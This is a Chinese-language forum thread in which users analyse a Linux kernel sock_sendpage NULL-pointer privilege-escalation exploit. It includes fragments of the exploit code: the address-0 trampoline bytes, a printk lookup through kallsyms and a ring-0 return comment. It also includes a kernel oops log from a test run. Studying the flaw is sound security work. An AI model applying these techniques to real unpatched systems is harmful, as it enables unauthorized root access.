原帖由 platinum 于 2009-8-18 17:55 發(fā)表
感覺九賤兄的學(xué)習(xí)能力和自我鉆研能力超強(qiáng),而且還經(jīng)常很無私的將一些成果與大家分享
非常敬仰!
原帖由 emmoblin 于 2009-8-19 00:01 發(fā)表
我有有點(diǎn)不解,想請(qǐng)教一下:
return sock->ops->sendpage(sock, page, offset, size, flags);
沒做檢測就直接調(diào)用了。這時(shí)會(huì)跳到進(jìn)程的虛擬地址0的位置執(zhí)行。
但是我不理解的是:之前他做了一個(gè)mmap,這時(shí) ...
“mmap這里我覺得很神奇,相當(dāng)于讓內(nèi)核執(zhí)行了用戶進(jìn)程空間的代碼”
原帖由 CUDev 于 2009-8-19 20:24 發(fā)表
kernel_code()函數(shù)的地址是用戶空間的,舉例來說,在我的機(jī)器上的地址為0x8048afd,小于0xc0000000。在內(nèi)核態(tài),jmp到一個(gè)小于3G的地址上。這個(gè)怎么解釋?
是不是這個(gè)樣子,用戶態(tài)到內(nèi)核態(tài)切換的時(shí)候,current還 ...
If addr is NULL, then the kernel chooses the address at which to create the mapping; this is the most portable method of creat‐\r
ing a new mapping. If addr is not NULL, then the kernel takes it as a hint about where to place the mapping; on Linux, the map‐\r
ping will be created at a nearby page boundary. The address of the new mapping is returned as the result of the call.
原帖由 CUDev 于 2009-8-19 21:14 發(fā)表
感覺exit_kernel()那個(gè)函數(shù)沒有多少用處,可以直接聲明為int kernel_code(),返回-1。kernel_code自動(dòng)跳回到用戶空間,然后直接調(diào)用execl()就好了。
另外,kernel_code()中可以調(diào)用標(biāo)準(zhǔn)庫里面的函數(shù)嗎?
ht ...
原帖由 CUDev 于 2009-8-19 23:52 發(fā)表
此言差矣。如果是fopen呢?在Kernel里調(diào)fopen(),fopen()底層又調(diào)用read()系統(tǒng)調(diào)用,又回到了Kernel。
就出現(xiàn)了“先有雞還是先有蛋”的問題
原帖由 emmoblin 于 2009-8-23 10:37 發(fā)表
那我覺得內(nèi)核mmap的時(shí)候應(yīng)該避免映射到0地址。及時(shí)用了FIXED參數(shù)。
這樣就利用不了NULL跳轉(zhuǎn)到0地址執(zhí)行的漏洞了
原帖由 kouu 于 2009-8-19 14:58 發(fā)表
不過我感覺內(nèi)核應(yīng)該限制一下對(duì)0地址的分配(任何vma都不能包含0地址),因?yàn)榱?xí)慣上很多情況下都把NULL看成是非法的了。
/*
** By calling iret after pushing a register into kernel stack,
** We don't have to go back to ring3(user mode) privilege level. dont worry. :-}
**
** kernel_code() function will return to its previous status which means before sendfile() system call,
** after operating upon a ring0(kernel mode) privilege level.
** This will enhance the viablity of the attack code even though each kernel can have different CS and DS address.
*/
與用戶空間的應(yīng)用程序不同,內(nèi)核是不能鏈接使用標(biāo)準(zhǔn)C函數(shù)庫(其他的那些庫也不行)。造成這種情況的原因有很多,其中就包括先有雞還是先有蛋的這個(gè)悖論。不過最主要的原因在于速度和大小。對(duì)于內(nèi)核來講,完整的C庫太大了------即便是從中抽取出一個(gè)合適的子集------大小和效率都不能被接收。
Aug 28 14:50:19 RD kernel: CSLIP: code copyright 1989 Regents of the University of California
Aug 28 14:50:19 RD kernel: PPP generic driver version 2.4.2
Aug 28 14:50:19 RD kernel: NET: Registered protocol family 24
Aug 28 14:50:19 RD kernel: Unable to handle kernel paging request at virtual address 0000a206
Aug 28 14:50:19 RD kernel: printing eip:
Aug 28 14:50:19 RD kernel: 08048803
Aug 28 14:50:19 RD kernel: *pde = 36847001
Aug 28 14:50:19 RD kernel: Oops: 0000 [#1]
Aug 28 14:50:19 RD kernel: SMP
Aug 28 14:50:19 RD kernel: Modules linked in: pppoe pppox ppp_generic slhc parport_pc lp parport autofs4 i2c_dev i2c_core sunrpc cpufreq_powersave ib_srp ib_sdp ib_ipoib rdma_ucm rdma_cm iw_cm ib_addr ib_umad ib_ucm ib_uverbs ib_cm ib_sa ib_mad ib_core dm_mirror dm_multipath dm_mod button battery ac md5 ipv6 joydev ehci_hcd uhci_hcd i5000_edac edac_mc hw_random bnx2 ext3 jbd ata_piix libata cciss sd_mod scsi_mod
Aug 28 14:50:19 RD kernel: CPU: 0
Aug 28 14:50:19 RD kernel: EIP: 0060:[<08048803>] Not tainted VLI
Aug 28 14:50:19 RD kernel: EFLAGS: 00010293 (2.6.9-78.ELsmp)
Aug 28 14:50:19 RD kernel: EIP is at 0x8048803
Aug 28 14:50:19 RD kernel: eax: 0000a206 ebx: f8d084a0 ecx: 00000000 edx: c17e3f60
Aug 28 14:50:19 RD kernel: esi: d495ec80 edi: e9665f50 ebp: e9665e88 esp: e9665e74
Aug 28 14:50:19 RD kernel: ds: 007b es: 007b ss: 0068
Aug 28 14:50:19 RD kernel: Process exploit (pid: 4292, threadinfo=e9665000 task=d576c1f0)
Aug 28 14:50:19 RD kernel: Stack: 0000a206 0000a206 0000a206 00000000 f8d084a0 00001000 c028378a 00001000
Aug 28 14:50:19 RD kernel: 00000000 c035d420 00001000 c01420cb 00001000 f57fc0e4 00000000 c035d420
Aug 28 14:50:20 RD kernel: 00000000 c17e3f60 00000000 00000000 c0141a97 00001000 fffcfc50 00001000
Aug 28 14:50:20 RD kernel: Call Trace:
Aug 28 14:50:20 RD kernel: [<c028378a>] sock_sendpage+0x37/0x3c
Aug 28 14:50:20 RD kernel: [<c01420cb>] file_send_actor+0x30/0x49
Aug 28 14:50:20 RD kernel: [<c0141a97>] do_generic_mapping_read+0x1b2/0x445
Aug 28 14:50:20 RD kernel: [<c0174b9e>] notify_change+0x25e/0x268
Aug 28 14:50:20 RD kernel: [<c0142128>] generic_file_sendfile+0x44/0x57
Aug 28 14:50:20 RD kernel: [<c014209b>] file_send_actor+0x0/0x49
Aug 28 14:50:20 RD kernel: [<c015d034>] do_sendfile+0x24a/0x290
Aug 28 14:50:20 RD kernel: [<c014209b>] file_send_actor+0x0/0x49
Aug 28 14:50:20 RD kernel: [<c015d122>] sys_sendfile+0xa8/0xb4
Aug 28 14:50:20 RD kernel: [<c02e09db>] syscall_call+0x7/0xb
Aug 28 14:50:20 RD kernel: Code: Bad EIP value.
Aug 28 14:50:20 RD kernel: <0>Fatal exception: panic in 5 seconds
Aug 28 16:29:14 RD syslogd 1.4.1: restart.
Aug 28 16:29:14 RD syslog: syslogd startup succeeded
原帖由 kouu 于 2009-11-15 01:26 發(fā)表
突然想到一個(gè)問題,mmap映射0地址能夠映射成功嗎?
在我的Ubuntu 9.04,Linux 2.6.28-12-generic上,mmap映射0地址是不能成功的。
至于exploit的代碼在我的機(jī)器上能夠成功執(zhí)行,是因?yàn)閑xploit是由run.c編譯 ...
呵呵,我還是覺得在kernel_code()函數(shù)中調(diào)用C庫的函數(shù)是可以的~
本來打算驗(yàn)證一下的,上次做了一下實(shí)驗(yàn),ubuntu直接就整個(gè)掛起了(屏幕定格、無任何響應(yīng)),也不知道是什么問題。 感覺在PC上做這種事情實(shí)在太惡心…… 以前都是在嵌入式開發(fā)版上搞的,隨便折騰。可惜現(xiàn)在沒這個(gè)環(huán)境了……
也希望哪位朋友有興趣的話驗(yàn)證一下,給個(gè)結(jié)論~ 呵呵
原帖由 W.Z.T 于 2010-1-15 10:56 發(fā)表
當(dāng)內(nèi)核進(jìn)行一個(gè)空指針引用的時(shí)候, 會(huì)引發(fā)一次缺頁異常中斷, do_page_fault函數(shù)會(huì)進(jìn)行處理, 打印oops信息,然后殺死當(dāng)前進(jìn)程。 exploit程序在攻擊之前已經(jīng)通過匿名映射在內(nèi)存0地址出映射好了exploit代碼, ...
原帖由 Godbach 于 2010-1-15 11:01 發(fā)表
請(qǐng)教W.Z.T兄,你認(rèn)為跳轉(zhuǎn)到0地址出執(zhí)行的函數(shù)代碼是屬于用戶空間的代碼,還是內(nèi)核空間的代碼。
原帖由 Godbach 于 2010-1-12 15:38 發(fā)表
哪位介紹一下這個(gè)漏洞和selinux有什么關(guān)系。因?yàn)閺钠渲幸粋(gè)簡單的測試?yán)锍躺,看不出來和selinux有關(guān)系啊。
我的理解是0地址上的代碼是由用戶自己通過mmap映射的, 當(dāng)用戶進(jìn)程去觸發(fā)這個(gè)kernel bug的時(shí)候,是通過系統(tǒng)調(diào)用進(jìn)入內(nèi)核空間,內(nèi)核通過進(jìn)程上下文current代表進(jìn)程繼續(xù)執(zhí)行, 當(dāng)eip執(zhí)行到了一個(gè)0x0地址時(shí),它開始執(zhí)行用戶空間映射過來的代碼, 由于有進(jìn)程上下文,又是在內(nèi)核態(tài), 所以可以修改當(dāng)前進(jìn)程的任何信息包括內(nèi)核其他代碼。 不知道這樣理解對(duì)不對(duì)?
我覺得內(nèi)核是不能調(diào)用c庫的, 你可以自己實(shí)現(xiàn)一個(gè)類似printk的函數(shù)放在kernel code中, 這樣應(yīng)該不會(huì)出錯(cuò),或者通過/proc/kallsyms先找到printk的地址, 然后再kernel中引用, 不知道這樣可不可行, 我沒試過,兄弟可以驗(yàn)證下啊:)
我記得有一些兄弟在開啟selinux的情況下, 就能溢出成功, 關(guān)閉的情況下就不能溢出成功。 好像早期版本的selinux代碼允許映射0的地址, 這樣sys_mmap2即使不允許映射0地址, 但selinux確讓它允許映射, 具體代碼沒有仔細(xì)看過。
原帖由 Godbach 于 2010-1-15 13:48 發(fā)表
試驗(yàn)了一把,通過/proc/kallsyms獲取到printk的地址,然后就可以在kernel_code中調(diào)用了。打印的信息輸出到日志里了
int (*printk)(const char *fmt, ...);
原帖由 Godbach 于 2010-1-15 15:12 發(fā)表
應(yīng)該多些W.Z.T兄的指點(diǎn)才對(duì)。
我用的是另外一個(gè)例程,exploit.c中添加
然后獲得printk的地址
printk = (int (*)(const char *fmt, ...))get_kernel_sym("printk");
然后就可以調(diào)用printk了。
(這個(gè) - 6是什么意思,大家指點(diǎn)一下)
在地址0x0處埋下代碼kernel_code 函數(shù),因?yàn)?x90 = nop, 0xe9 = jmp
上面代碼可表示為在映射的地址0處,執(zhí)行
E9 cw JMP rel16 A N.S. Valid
Jump near, relative,displacement relative to next instruction. Not supported in 64-bit mode.
E9 cd JMP rel32 A Valid Valid
Jump near, relative, RIP =RIP + 32-bit displacement sign extended to 64-bits
原帖由 Godbach 于 2010-1-20 10:31 發(fā)表
查了一下手冊(cè)。這里E9對(duì)應(yīng)的jmp是相對(duì)跳轉(zhuǎn)。也就是jmp 后面跟的操作數(shù),應(yīng)該是應(yīng)跳轉(zhuǎn)到的地址和當(dāng)前下一條指令地址之間的差值。
當(dāng)前jmp下一條指令的地址應(yīng)該是6, 所以jmp后面的操作數(shù)應(yīng)該是&kernel_code ...
mem[0] = '\xff';
mem[1] = '\x25';
*(unsigned int *)&mem[2] = (sizeof(unsigned long) != sizeof(unsigned int)) ? 0 : 6;
*(unsigned long *)&mem[6] = (unsigned long)&own_the_kernel;
歡迎光臨 Chinaunix (http://72891.cn/) | Powered by Discuz! X3.2 |